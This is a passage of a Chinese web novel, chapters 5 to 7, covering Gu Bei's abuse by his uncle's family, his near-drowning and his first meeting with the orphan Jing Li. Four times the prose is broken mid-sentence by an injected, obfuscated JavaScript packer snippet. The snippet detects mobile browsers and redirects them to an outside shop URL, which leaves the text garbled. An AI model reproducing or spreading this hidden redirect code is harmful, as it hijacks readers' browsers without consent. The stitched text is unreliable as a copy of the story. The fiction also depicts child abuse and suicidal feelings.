易梓薇边被拖走边不舍地冲陆檀摆手:“陆檀哥哥那我先走了!你回去路上注意安全~” “砰”一声门关上,将女孩的尾音阻断。 陆檀看着微信里刚加上的好友,唇角翘起玩味的弧度。 这个叫易梓薇的女孩,看起来比那位酷妹要单纯的多。 - 走出派出所大门,易梓薇还在回味方才近距离和偶像聊天的美好画面,神情活像个小花痴。 荆梨斜睨了她一眼,凉声警告:“你的陆檀哥哥看起来可不简单,你听听歌就得了,别对真人付出太多情感。” 易梓薇闻言不解地问:“什么意思?他哪不简单?” “……”望着好友懵懂天真的脸,荆梨一时语塞。 她总不能说陆檀是海王这件事是出自她的直觉判断吧。 无凭无据的,跟在粉丝面前凭空造她偶像谣言差不多。 易梓薇这丫头绝对不信。 荆梨抿了抿唇,绞尽脑汁地组织了半天语言,才憋出一句:“不是都说要离偶像的作品近一点,离他们的生活远一点吗,我是怕你的幻想破灭。” 易梓薇迟钝地点点头:“哦哦。”随即又扬唇开朗道,“你放心吧我晓得的,我追星无数,什么样的我没见过,这个不好就换一个呗,娱乐圈两条腿的男明星一抓一大把,我开心最重要!” 见她这没心没肺的样子,荆梨心头一软,无可奈何地摇了摇头。 两人搭肩勾背地下了台阶,忽然一道短促的车鸣在左前方响起,易梓薇似突然想起什么,懊恼地“啊”了声。 “对不起啊亲爱的,我爸派人来接我了。”易梓薇双手合十,可爱的娃娃脸让她连道歉都像在撒娇,“这周末我不能去你家睡了。” 荆梨扫了眼那辆低调奢华的奔驰,将她脸侧的碎发别至耳后,柔声道:“去吧,到家给我发微信。” 易梓薇点头应下。 离开时一步三回头,荆梨就站在原地望着她。 忽然,已经走远的女孩又转身跑回来将她抱住。 荆梨一愣,抬手接住她,问:“怎么了?” 易梓薇下巴搁在她肩头,眼圈悄然发红:“虽然但是,对不起荆梨。” 荆梨轻抚她的发尾,无声轻笑:“又道什么歉?” 易梓薇鼻音浓重:“我清楚你不想让顾北哥管你,也不想让他看到你这幅打扮,而且要是顾北哥知道是我把你带出去玩才遇到这种事的,我怕他骂我……所以就没敢打电话给他让他过来。” “没想到你自己告诉他了。” “对不起荆梨,你一定是真的吓坏了才会主动找他的吧,呜呜呜都怪我……” 说到最后易梓薇抱着她低声呜咽起来,可荆梨已经什么也听不见了。 脑海中只漂浮着易梓薇那句——她没打电话给顾北。 那顾北是怎么知道她出事了的? - 哄走易梓薇,荆梨有些魂不舍设,她边低头划着手机,边慢吞吞地往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13456442|141594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 街边踱去。 她被骚扰后只告诉过一个人。 荆梨拧眉盯着“今夜”上那个缀着北极星的夜空头像,眸光晦暗不明。 19:15分,在她爆照后不久,433给她发了消息。 【玩得开心。】 Lizzy:【好。】 再就是20:23分。 她坐在警车上给他发了条:【看演出遇到色狼了,现在在去派出所的路上。】 【人生第一次坐警车,感觉有点奇妙。】 433几乎是秒回:【你怎么样?有受伤吗?】 Lizzy:【被打了一巴掌。】 Lizzy:【有点痛。】 接下来433便没再回复。 顾北出现在警局是九点多。 而从隔壁南舒市开车回梧城,恰好一个小时左右。 有个不可置信的猜测兀地冒出来。 她心口随之一窒。 荆梨视线莫名模糊,耳朵不知怎么的像隔了层遮罩,周遭的一切声响传达过来都朦朦胧胧的,她只能清晰感受到胸口沉重剧烈的心跳。 在这时,一道刺眼的光亮从左边不远处投射过来,伴随着急促狂躁的鸣笛声。 她竟不知不觉间走到了路中央。 荆梨恍惚地偏头看去,只见一辆大货车呼啸般朝她袭来。 呼吸陡然一停,明明此时情势危急,她的身体却不听话地变硬僵直。 这一瞬间,也就一两秒的尺度,荆梨眼前浮现大片大片的白色光晕,像阳光下的泡沫,令人目眩神晕,世界都变的扭曲不真切。 仿佛回到了七岁那年。 她也是如此,独自站在夜间的十字路口,隔着泪眼望着前面不断走远的少年。 眼泪模糊了视线,她死死捂住嘴巴,哭到缺氧也不敢发出一丝声响。 哪怕心里有多希望少年能反悔掉头,把她带走。 她嘴上也不说一句挽留。 下一秒,回忆戛然。 她的手腕被猛地一扯,身子不受控地后倒,下坠时她本能地紧闭双眼,准备迎接触地的疼痛。 可预想中的疼痛并未出现。 她被用力禁锢在了一个温暖、携着雪松和烟草气息的怀抱中。 她的世界也重新回归秩序。 “长了双眼睛干什么的!不看路啊!”顾北压着怒意的低吼在头顶响起。 荆梨不禁心头一缩,连锁反应似的酸了鼻子。 淅淅沥沥的小雨随秋风洋洋洒落,落在皮肤上,带着不属于这个季节的凉。 她无声地红了眼眶,埋头缩进男人滚热的颈窝,虚虚环着他的腰,姿态克制又依恋。 记忆的末尾。 那个背影清瘦的少年,还是选择了停下。 他步伐坚定地回到女孩面前,弯腰单臂抱起她,单薄的肩膀背负起不属于他的沉重人生,不发一言地走向他们的“家”。 只有他们彼此的,家。 5. 小树 Chapter 05 小树 2009年7月。 梧城正值酷暑,绿意盎然的梧桐树承载着喧嚣了整个夏季的蝉鸣。 暑假期间的今阳中学除了值班的老师外没有一个学生,偌大的校园静得能听见阳光炙烤树叶的动静。 顾北拄着拐,步伐艰难地踱步到高二组三楼办公室门口。 他胸膛喘息着,翘起打着石膏的右腿,脊背微弯,整个身体的重量压在硌人的拐杖上,他的后背早已被汗打湿,洗到发白的短袖黏答答地贴在身上,脊柱形状一清二楚。 他拨了拨凌乱的额发,过白的皮肤因炎热而透出不正常的红,漂亮深邃的眉眼都染上几分湿意。 踌躇片刻,顾北还是屈指叩响了办公室的门。 里面响起中气十足的:“请进!” 顾北深呼吸了一口,拧动把手走了进去。 扑面而来的冷气让他微微一怔,随即下意识垂眸站定在门边,哑声说:“冯老师。” “顾北来啦。” 冯元看清来人是他,脸上不由扬起笑,却又在瞧见顾北受伤右腿的刹那笑容僵滞。 “外面热死了吧。”他很快调整好情绪,起身搬了张椅子放到自己书案旁,还拿了瓶矿泉水,接着冲少年招手,“来,顾北,过来坐。” 顾北闻言沉默地撑起双拐,左脚借力跳动,一步一挪地慢慢移动到冯元身边。 明明不到五米的距离,他却花了很长的时间。 期间屋内无比的安静,谁都没说话,只有拐杖触地的声响,像砸在二人心头的闷锤,氛围一时陷入低气压。 冯元暗暗叹了口气,眼里盛满了可惜。 顾北坐下后将拐杖摆靠在一旁,双手撑着膝盖,指尖局促不安的紧紧扣着,他始终低垂着脑袋,舔了舔唇主动开口:“冯老师,您找我是有什么事要告诉我吗?” 望着少年如今这幅模样,冯元心里生出不忍。 但顾北是个聪明的孩子,他能问出这话说明他心里已经有数了。 冯元抿唇惋惜道:“我看了你发给我的检查报告,膝关节交叉韧带断裂,这个伤恢复期很长,下个月省内举办的长跑比赛你是肯定参加不了了。” 顾北闻言后背一僵,他抬头直视冯元,黑眸空洞,闪烁着破碎的光,随后化作隐隐卑微的希冀。 他轻滚喉结,嗓音染上涩意,但仍然克制着情绪,语气都似在打商量:“好,我明白的冯老师,那——我好了之后……” “顾北。” 冯元冷静地打断少年。 他知道此刻如果不把对方的念头彻底斩断,那顾北将一辈子都走不出来。 “你应该比谁都清楚膝关节韧带断裂对一个田径运动员来说意味着什么,即便恢复了,也无法再重回巅峰时的状态了。” “而且你已经高二了,没有时间留给你复健,你也跟不上队里的训练强度了。” 冯元的言外之意很简单——你不能继续跑了。 男人话音落地,空气凝滞一般沉入死寂。 顾北眼眶悄然红透,他的目光恍惚地飘动着,失去了焦点,像被人陡然在脑后敲了一棍,灵魂都震颤了一下。 背上汗湿的布料被空调冷风沁出刺骨的冰凉,他不由得哆嗦了一下,唇瓣血色全无。 冯元的话,给他判了死刑。 顾北只觉得心里忽然空荡荡的,失去了一直以来托举着他的支点。 他忘了自己最后是怎么走出的办公室,只记得临走前听见冯老师喃喃骂道:“唉,也不知道家长是怎么照顾孩子的,明明知道孩子是体育特长生还不看紧点……” 屋外仿佛一个巨大的蒸笼,顾北却感受不到热,行尸走肉一般,出了校园后便漫无目的地游荡在这座城市里。 少年清瘦到令人心疼的背影颓唐地佝偻着,稍长的刘海挡住了眉眼,看不清他的表情,却能瞧见时不时掉落的眼泪。 他咬紧牙关,唇瓣颤抖不止,倔强地不肯发出一丝呜咽。 十七岁,本该拥有如树般向上生命力的年纪。 顾北却似早已枯萎凋敝的枝藤,失去了繁茂的机会。 - 傍晚,夕阳像洒落的颜料,染红了整片天空。 顾北面无表情地回到家,刚用钥匙打开门,迎接他的是一个朝他砸来的瓷碗。 他躲闪不及,额角被砸破了点皮,有血顺着流到眼角,刺得他眉头一紧。 “你个吊东西还知道回来!”一道嘶哑难听的男人叫喊在客厅里响起,伴随着电视机吵人的欢笑,“一下午死哪块去啦?叫你他妈留在家伺候我听不懂人话是啊!” 顾北没吭声,盯着脚边破碎的瓷片,眼里的情绪如浓雾翻涌。 大伯母潘文丽听到动静从厨房走出来,目光嫌恶地瞥了眼门口一动不动的顾北,抓过扫把将碎瓷片打扫干净,期间不知是有意还是无意,胳膊肘撞向他,害得他差点摔倒。 “死人一样杵在这里做什么?”潘文丽寻到了由头,三角眼一瞪,狠狠剐着他,“出去玩也不晓得说一声,拖着条断腿到处跑,生怕邻居不晓得你可怜是啊?” 女人这种夹枪带棒的指责顾北早已见怪不怪,他心里冷嗤,兀自拄着拐杖朝自己的房间走去。 路过餐桌时瞧见满桌狗舔过一样的菜盘,显然他们是一点没打算给他留饭。 见他不应声,潘文丽嘟嘟囔囔地又骂了几句“小白眼狼”“小畜生”“没良心”,眼神在扫到顾北的右腿时闪过一丝心虚。 “哎哎哎,谁允许你回屋了。” 路过茶几,顾军抓起手边的晾衣架敲了敲顾北的拐杖。 顾北停下来,狭长锋利的凤眸冷冷地凝视着他。 顾军是大伯顾卫朝和大伯母潘文丽唯一的儿子,两口子当眼珠子一样的疼。 他比顾北大整八岁,二十五的人了,大学毕业后也不去工作,在家啃了三年的老,整日对着电脑打游戏,把自己生生吃成了两百多斤,一脸的横肉,原本清秀的五官都变得油腻猥琐,头发斑秃成块,像一摊烂肉似的躺在那儿,散发出腐朽难闻的气味。 顾军仗着自己在家中的地位,对顾北这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13456443|141594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “借住”在他家的外人极尽使唤和羞辱。 此时他的左手臂也打上了石膏,面前茶几上堆满了拆封的零食袋和喝到一半的奶茶杯。 顾军对上顾北那双出众的眼睛,嫉妒又恶毒地啐了一口,骂道:“臭小子瞪什么瞪!再瞪把你眼珠子挖出来!” 说罢,他挥动晾衣架,狠狠抽在顾北受伤的腿上。 顾北瞬时额头冒出冷汗,手上拐杖一个不稳,他整个人摔倒在地,痛苦地蜷缩成团。 潘文丽在不远处望着这一幕,面上是对此习以为常的神情。 顾军起身一脚踩在他背上,笑声刺耳:“你个没爸没妈的东西,天天傲得跟个什么似的,我家给你口吃的你就应该像条狗一样感恩戴德。” 话落,他又踹了顾北一脚,蹲下身抓着他的后脑勺,把头往地上按,被肉挤成一条缝的眼睛冒出凶狠的精光:“我让你干嘛你就得干嘛,不然就不光让你断一条腿这么简单了。” 听到这话,顾北原本死灰般麻木的眼睛瞬间充血,他双手用力握成拳,指甲陷入掌心,掐出道道血痕。 顾军果然是故意的。 前天他突然心血来潮要去学什么游泳,非拉着顾北给他当教练。 磨磨蹭蹭半天终于出了门,结果在下楼梯的时候他突然在身后推了顾北一把。 顾北一时不察,陡然的失重感让他下意识拽住顾军的胳膊,紧接着两个人就一齐摔了下去。 其实那个高度并不会造成太严重的伤,可顾军两百多斤的体重在坠落的那一刹全都压在了顾北的右腿上,造成他韧带断裂和小腿骨折。 顾军自己却只是简单的左臂骨折。 猜测被本人亲口印证,顾北瞬间如同暴怒的狮子,他疯狂挣扎嘶吼,仿佛情绪崩溃的精神病患者,眼神死死瞪着上方的顾军,里面盛满了杀气。 顾军是虚胖,真要跟顾北比体力他完全不是对手,在他就要被顾北掀翻的时候,潘文丽扑了上来,她的巴掌雨点一样落下,抽打顾北的脸和背,边打边骂:“你个白眼狼,还敢反抗,小军说的不对吗,我们好心好意养你到现在,你怎么报答我们的?啊?” 受伤的少年敌不过母子俩的夹击,渐渐地,顾北不再挣扎,他偏头脸贴上冰冷的地板,眼泪积成小小的湖。 双眼无神地望向窗外不知何时挂上天边的明月,跟心脏撕扯的痛相比,身上的痛显得麻木无感。 下一秒,一束烟花自天边炸开绽放。 顾北呼吸猛然一滞,他触电似的蜷缩身子,抱着脑袋浑身开始颤抖。 这一刻他仿佛又回到了五年前,滨宁的那个夜晚。 撬动大地的爆炸轰鸣叫醒了滨宁的所有人。 冲天的火光似飞舞的妖怪,吞噬着无垠的夜空。 也吞噬了他的父母。 那一夜,滨宁唯一的一家烟花厂因存储不当导致仓库爆炸。 厂区内所有的值班员工全部遇难。 包括姜厂长夫妻俩。 也从那一夜开始,他成了顾军口中没爸没妈,可以随意欺辱的“东西”。 6. 自由 Chapter 06 自由 这场暴力没有持续太久,被结束遛弯回到家的顾卫朝打断。 他搓了搓背心下的胸口,嘴边叼着抽了一半的烟,装模作样地让顾军别闹,叫顾北赶紧进屋。 这会儿的顾北已经因为母子俩的殴打和屋外烟花的刺激而出气多进气少了,他用力抱着自己伤痕累累的身体,脸色白得像纸,好看的眉眼因痛苦而扭曲,嘴里喃喃呻.咛。 就像一条被抛上岸的鱼,每次喘息都能弥散他的生命。 他这幅狼狈到极致的模样让顾军心情大好,他施舍般捡起一包开封的薯片扔到地上,逗狗一样,道:“赏你的,别饿死了。” 说完就抱着零食袋继续去玩电脑了。 顾卫朝有些不悦地瞪了潘文丽一眼。 不过他倒不是因为妻儿欺负了他的侄子,而是觉得闹出的动静太大,会让邻居听见从而毁了他的名声。 潘文丽回瞪他,故意从鼻子里哼出一声,扭着头回了房间。 顾卫朝拿上烟盒躲进厕所抽烟。 一阵窸窸窣窣的关门声后,客厅只剩下冰冷地板上的顾北。 月光透过窗柩落在他身上,空气中满是硝烟的味道。 少年侧躺着抱着胳膊,睫毛似落了雪,眼里黯淡无光,电视机正播放着某综艺节目,主持人和嘉宾们的欢声笑语遥远得仿佛从另一个时空传来的。 不远处顾军房里响起他沉浸游戏的厮杀叫喊。 厕所顾卫朝正刷着直播,美女主播一口一个大哥叫得火热。 潘文丽在和她的小姐妹打电话吐槽辱骂他这个小白眼狼。 所有声响交织在一块,于蝉鸣不断的夏夜中显得嘈杂又和谐。 感觉这个世界上的所有人都过得很好。 除了他。 顾北颤抖着长睫闭上眼,他扯起唇想讽刺地笑一下,可唇上的撕裂打消了他的念头。 他忍着全身被撵过一样的疼,慢慢爬起来,撑着拐杖,走进他十平米储物室改造的小卧室,背上自己的包,行动迟缓地走出这个“家”。 早在五年前父母去世后,顾北就明白了一件事。 他已经没家了。 可未成年必须得有个监护人。 顾卫朝领他来到梧城的那一天,他也曾在心底憧憬过未来,想要重新开始。 但他低估了人性的恶。 潘文丽根本不想养他,在顾卫朝决定接下他这个累赘的时候,夫妻俩爆发过严重的争吵。 他俩一个是等活的水电工,一个是给人看店的,每个月那点工资供养完大学生顾军已是捉襟见肘,再来一个小孩,他们一家都得喝西北风。 即使家庭状况如此糟糕,顾卫朝仍旧坚持己见。 你以为他是心疼弟弟留在这世上的唯一的孩子受苦吗? 不是。 他从警察那儿听说了,他弟弟和弟妹的死亡赔偿款有将近一百多万。 一百多万。 多诱人的一笔钱啊。 他怎么舍得让那个臭小子独吞呢。 不过这笔钱只有等顾北成年后才会打给他,顾卫朝是没份的,所以他必须得守着顾北,将人放在自己眼皮底下。 控制他,拿捏他,等拿到钱之后就把人赶走。 被顾卫朝这么一点拨,潘文丽哪怕再不情愿也不得不情愿了。 他之所以这么清楚这对夫妻的如意算盘,还是因为他在去年以优异的成绩考上了今阳中学。 本来是件喜事,可他却被狠狠骂了一顿。 潘文丽不想出钱供他读高中。 顾卫朝当着他的“和事佬”,但流露出的态度也是不赞同。 在这个家里,顾北已经被“驯化”得失去了争取和反抗的意志,就像从小被笼养的宠物,本该奔跑的四肢逐渐发软退化。 心气早就被磨没了。 一般潘文丽不答应的事他就不会再提。 可这次不一样。 他心里有种预感,如果自己不去读高中的话,他这辈子估计就这样了。 他不想认输,不想真的成为潘文丽口中的“废物”。 他第一次为自己“反抗”,却被潘文丽狠狠扇了一巴掌。 注意到少年倔强阴沉的眼神,顾卫朝若有所思,他拉着气头上的潘文丽进屋反锁上门,提醒她要是把顾北逼急了逃出笼门,那一百多万就彻底落空了。 夫妻俩不知道,顾北当时就站在屋外,将他们的悄悄话尽收于耳。 那一刻,心如同坠入冰窖,寒意从头窜到脚。 在顾家的这五年,顾北从起初的可爱开朗,到现在变成空心的行尸走肉,眼中的光彩逐渐被疲惫和小心翼翼代替。 他以为是自己的到来让伯父伯母生活压力变大,所以他们才苛待自己,没想到竟是为了父母的赔偿款。 顾北止不住地冷笑,眼尾猩红一片。 他笑自己像个傻逼,也笑原来亲情也不过如此。 死人都有利用价值,何况活人。 - 经过一天的磨合,顾北已经能熟练用双拐行走。 他闷头走了许久,也不知道该去哪,只想着远离那一家人。 所以不管去哪都行。 顶着司机的眼神压力,顾北穿过了第五个十字路口,再抬头,他竟然不知不觉走到了武湖公园。 这个时间点公园里都是散步的行人,拄着拐杖,还鼻青脸肿他像个异类。 顾北来到湖边坐下,带着湿气的夜风吹到身上并不很清凉,反而让皮肤沾上潮湿的粘腻。 顾北静静望着湖面上的波光粼粼,视线又不自觉落到受伤的右腿上。 他心里绷着的那根弦骤然断裂。 从远处看,只见瘦得骨骼嶙峋的少年低垂着脑袋,背影佝偻,形容枯槁。 不见这个年纪该有的清风明月与胸膛热血。 就连一身坚硬的骨,都似被敲碎了。 冯老师问过他:“顾北,你成绩那么好,为什么还要去练跑步啊?” 他还记得自己当时的回答。 “因为我喜欢奔跑的感觉。” “会让我有种我生来就自由的错觉。” 冯老师闻言哂笑:“可每个人生下来就是自由的啊,这不是种错觉。” 顾北面色微怔,凤眸里亮起的光渐渐熄灭,他哑声道:“对我来说,是。” 他觉得自己应该是抑郁了。 或者说,他其实一直处在抑郁的情绪里。 就像此刻,意识到自己再也无法奔跑,再也无法感受自由的错觉。 他很想走入这汪冰凉的湖水中。 当一道熟悉的铃声响起时,顾北才恍惚回过神。 他低头发现自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13456444|141594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的半个身子已经泡在了水里。 他扭头看向岸边,铃声的来源是他的背包。 犹豫了两秒,顾北转身朝岸边游去。 他湿漉漉地瘫在岸上,石子咯着他的背后,冰冷的湖水让他的身体麻木不堪,痛感都弱了不少。 他掏出背包夹层里的老款翻盖手机。 手机边缘的白漆早已掉落斑驳,边响铃边闪着刺眼的灯光。 这还是爸爸出事前给他买的礼物。 也是遗物。 他小心保管着,用到现在。 这台手机已经很久很久,没有响过了。 看清来电人的名字,顾北心口一窒。 这通电话如同开启潘多拉魔盒的钥匙,将那些被他刻意压制的,关于滨宁的回忆一股脑释放出来。 【荆勇】 荆这个姓很稀少也很独特,他记得特别清楚。 烟花厂的员工里就这一个姓荆的。 也是爸爸临终前,一直挂在嘴边的名字。 莫名的,顾北呼吸急促起来,他颤抖着指尖,按下通话键,接着迟疑地把手机搁在耳朵旁。 电话那头沉默了许久,安静到顾北以为或许是某种恶作剧。 他滚了滚喉结,开口的声音嘶哑低沉:“喂?” 回应他的依旧是沉默,顾北皱紧眉头,暗骂了声,就要将电话挂断。 手刚放下,听筒里便传来一个明显是小孩子声线的嗓音。 “喂。” 糯糯的,尾音带着小心翼翼。 顾北动作一顿。 他重新举起手机,语气不是很好,甚至有些冲:“你是谁?给我打电话干嘛?” 小女孩似被顾北吓到了,话语染上浓重的鼻音:“我是荆梨,妈妈让我打给你的。” 荆梨? 是……荆勇的女儿? 眼前的场景一瞬间幻变成滨宁的重症病房。 全身重度烧伤,已然奄奄一息的顾卫阳用力扯住顾北稚嫩的手,断断续续地嘱咐他:“荆勇,叔叔的,叔叔的,女儿,荆,荆梨……” “小北,乖,乖孩子,你要帮,帮爸爸,照顾好她,记住了……” 交代完,男人便永远地闭上了眼。 生离死别的时刻,十二岁的顾北只知道哭着求父亲不要离开他,伤心得什么也没记住。 时隔五年,再次听到这个名字,伴随着父亲离世的哀伤,顾北怔愣了好一阵才收拢思绪。 “哥哥?”小女孩弱声叫他。 顾北抹了把脸,强迫自己清醒,冷声问:“你妈妈呢?” “把电话给你妈,让她跟我说。” 荆梨默了默,语气平淡地说: “她死了。” 话音落地,顾北呼吸一滞。 四周寂静无声,武湖风声呜呜,树影摇晃,宛如鬼魅。 他浑身湿透,感到一阵从骨子里透出来的冷。 顾北垂眸用力抿了抿唇,好半晌才找回自己的声音,听起来像从砂砾中滚过,哑到了极点。 “你现在在哪?” 他其实一点也不好奇,一点也不想管。 但是…… 他的妈妈也死了。 “滨宁医院。”荆梨乖乖地回道。 顾北踉跄起身,抓上包背好,沉声撂下两个字:“等我。”,便挂断了电话。 7. 初遇 Chapter 07 初遇 最后一趟从梧城去往滨宁的大巴早已开走。 顾北站在空无一人的售票处,觉着自己像个傻逼。 想走。 这是他此刻脑海里蹦出的唯一念头。 但他话都放出去了,不能骗小孩。 走出售票大厅,他在门口发了会呆,想着要不今晚在候车室将就一夜,明早起来坐第一班车。 他低头闻了闻身上已经被风吹成半干的衣服,有股难以言喻的湖水的腥味,继续套着实在不好受。 顾北朝四周看了眼,打算找个洗手间换件干净的,他刚拄起拐杖,一个喷嚏猝不及防地冒了出来,接着一阵预示着即将生病的恶寒从后背爬至全身。 “靠……” 他低声骂了句,心头窝了一天的火被一个喷嚏给燃了起来。 人倒霉的时候连喝凉水都塞牙。 顾北扶着发胀的脑袋坐在台阶上,疲惫地,深深地,叹了口气。 他对自己现在的处境,充满了满满的迷茫与无力。 不知道能去哪儿,不知道要做什么,什么也不知道,什么也不想管…… 就在他深陷自己其实就是个废物的愤懑情绪时,一道粗哑的,带着浓重口音的呼唤在前方响起。 “帅哥!坐车吗?要去哪啊?” 顾北拧眉抬头,浑身散发着浓烈的生人勿近的气息。 只见一个皮肤黝黑的矮胖男人,露着整齐的白牙,热情地朝他招手。 顾北愣了愣,随即有些自嘲地哧了声。 现在这世上,估计也只剩黑车司机会在乎他要去哪儿了。 听到他要去滨宁,师傅为难地“啧”了声,显然是嫌太远不乐意跑,但瞧着顾北这一身狼狈样,还是打着商量道:“去也能去,但费用要高点。” 顾北面无表情:“多少?” 师傅比了个剪刀手:“两百。” 顾北没吭声,拄拐走到车子旁边,拉开车门把背包甩到后排,接着弯下腰,小心翼翼地坐进去。 师傅见状反应过来,赶忙上前帮他把拐杖放好。 车里DJ劲曲不断,伴随着车辆的颠簸晃动,顾北不是晕车的体质,被这一套伺候的也有点想吐了。 他靠着头枕,紧闭着双眼,将近两个小时的车程里眉头就没舒展过,直到车辆停下,师傅回头叫他,他才睁开眼瞥向窗外。 滨宁县第一人民医院的招牌就在街对面。 望着周围熟悉的街道和建筑,顾北恍惚了一瞬。 感觉在滨宁长大的日子像上辈子的事。 “到了,小伙子。”师傅提醒他。 顾北敛回散远的思绪,他拉开包链,从里面掏出一把零钱。 有五块、十块、二十的,还有些硬币,就是不见红色的。 他垂眸凑了凑,还好够两百。 伸手将钱递过去。 师傅一愣,双手接过沉甸甸的一把钱,诧异地看了顾北一眼。 瞧他这张过分帅气的脸,给人的第一印象就像不差钱的主儿,上车的样子还那么潇洒,没成想两百都要拿硬币凑。 下了车,等完一个红灯,顾北拄拐来到医院门口。 医院周遭的环境和记忆里的相差无几,右手边两家水果摊,左手边是一整条街的花圈寿衣店,街头依旧是那家装修老旧的福万家超市。 夜里九点多,街上已经看不见什么人了,只有一个卖茶叶蛋和煮玉米的小吃车支在门口。 车上方亮着盏小夜灯,照得锅里的玉米格外有食欲。 顾北扫了眼黄澄澄的玉米,肚子抗议地叫了声。 他摸了摸兜里的两个硬币,决定去问问价。 “一根玉米多少钱?”他问。 中年女人头也没抬:“五块。” 顾北扭头就走。 一时脑热花二百坐黑车回滨宁这件事让他现在极度的不爽,五块钱的玉米把这种不爽又升级了一个层次。 他今天就是饿死,也不会买这根玉米! “哎!”女人忽然叫住他,“我要收摊了,给你两块一根吧。” 顾北脚步一顿,原路倒了回来。 …… 他把塑料袋挂在拐杖上,边啃玉米边点开手机通讯录,给第一个号码拨了过去。 拨号音响了三下那边才接起,顾北口齿不清地“喂”了声,道:“我到医院了,你人在哪儿呢?” 那头静了两秒,响起一个不善的男声:“你谁啊?” 顾北一愣,他迟疑地看向手机屏幕,确定他拨的就是之前打给他的那个号码。 怎么突然从小姑娘变成糙爷们了。 他咽下嘴里的玉米,突然不知道该怎么说了,刚蹦出“请问”俩字,电话就挂掉了。 “……”他盯着手机气得笑了下,有种被耍了的荒谬感。 顾北收起手机,把吃剩的半根玉米装进袋子里,一瘸一拐地转身就要走。 他真是爱心没处使了,把一个恶作剧当真,一个月的生活费都搭进去了。 刚走没两步,兜里的手机又响了起来。 他烦躁地掏出来,看清号码后心里一阵砸手机的冲动,接通骂道:“你他妈没完了是吧!耍我好玩吗……” “哥哥。”这次听筒里传来的清清楚楚是小女孩刻意压低的嗓音。 顾北猛地顿在原地,眉头拧紧。 许是怕他挂断,小女孩语气急促,带着明显的恐惧:“哥哥,我在门诊这边,你快点过来……” 她话没说完,之前那个粗犷的男声突然暴喝道:“你跟谁打电话呢!” 手机似乎掉在了地上,传来一阵噼里啪啦的噪音,夹杂女孩的哭喊和男人的辱骂。 “我操!”顾北抓紧手机,心脏都提了起来,他冲那头喊:“喂!喂!” 没人理他,几秒后电话就被挂断了。 四周一下陷入死寂,顾北心跳急促,脑袋都懵了一瞬,他很快反应过来,调转拐杖的方向,朝门诊快速挪动。 不知走了多久,他终于看到了门诊的灯牌,下一秒,却见一个身着黑衣的高大男人拽着一个头发凌乱的小女孩,骂骂咧咧地走出门诊大厅。 那女孩在不停地挣扎扭动,可惜瘦小的她不是男人的对手,只能发出疯了一样的高分贝尖叫。 有护士不放心,上前劝那男人,被男人一句:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13456445|141594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这我闺女,我爱怎么管教怎么管教!别他妈多管闲事!”给骂了回去。 闺女? 荆勇不是早在五年前就死了吗。 顾北惊疑的目光落在男人身上。 那是张满是戾气的脸,看一眼都令人心生不适,和他印象里的荆勇完全是两个极端。 荆叔是个老好人,长得也是张老好人的脸。 荆梨一直在挣扎,李东烦得索性扯起她的衣领,把人提到跟前,眸中凶光毕现,用只有两人能听到的音量威胁道:“再他妈不老实,老子就让你跟你妈在地底下团聚。” 脖颈被领口勒住,荆梨脸色胀红,喘不上来气,乌黑的眼睛死死瞪着李东。 就像落单的幼犬,面对比自己高大数倍的猛兽,心里怕得要死却还张开爪子,试图吓跑对方。 李东瞧她这幅不怕死的倔样,气得扬起一巴掌就要甩过去。 没成想他手还没落下,后背就被猛地敲了一棍。 “啊!” 李东身子一晃,手上的力道下意识放松,荆梨借机在他小腿上踢了一脚,动作利索地爬起来躲到顾北身后,小手死死拽着他的衣摆,露出狼崽子一样的眼睛,怨恨地盯着李东。 “……” 顾北低头看向自己腰上脏兮兮的小手,有些无语。 小丫头还挺会挑人的。 “靠!死丫头!”李东一手摸背,一手抱膝,疼得龇牙咧嘴,模样看着滑稽又可笑。 他转身去寻那一棍的罪魁祸首,扭头对上顾北似笑非笑的目光。 李东一时被镇住,辱骂的话堵在了嗓子眼。 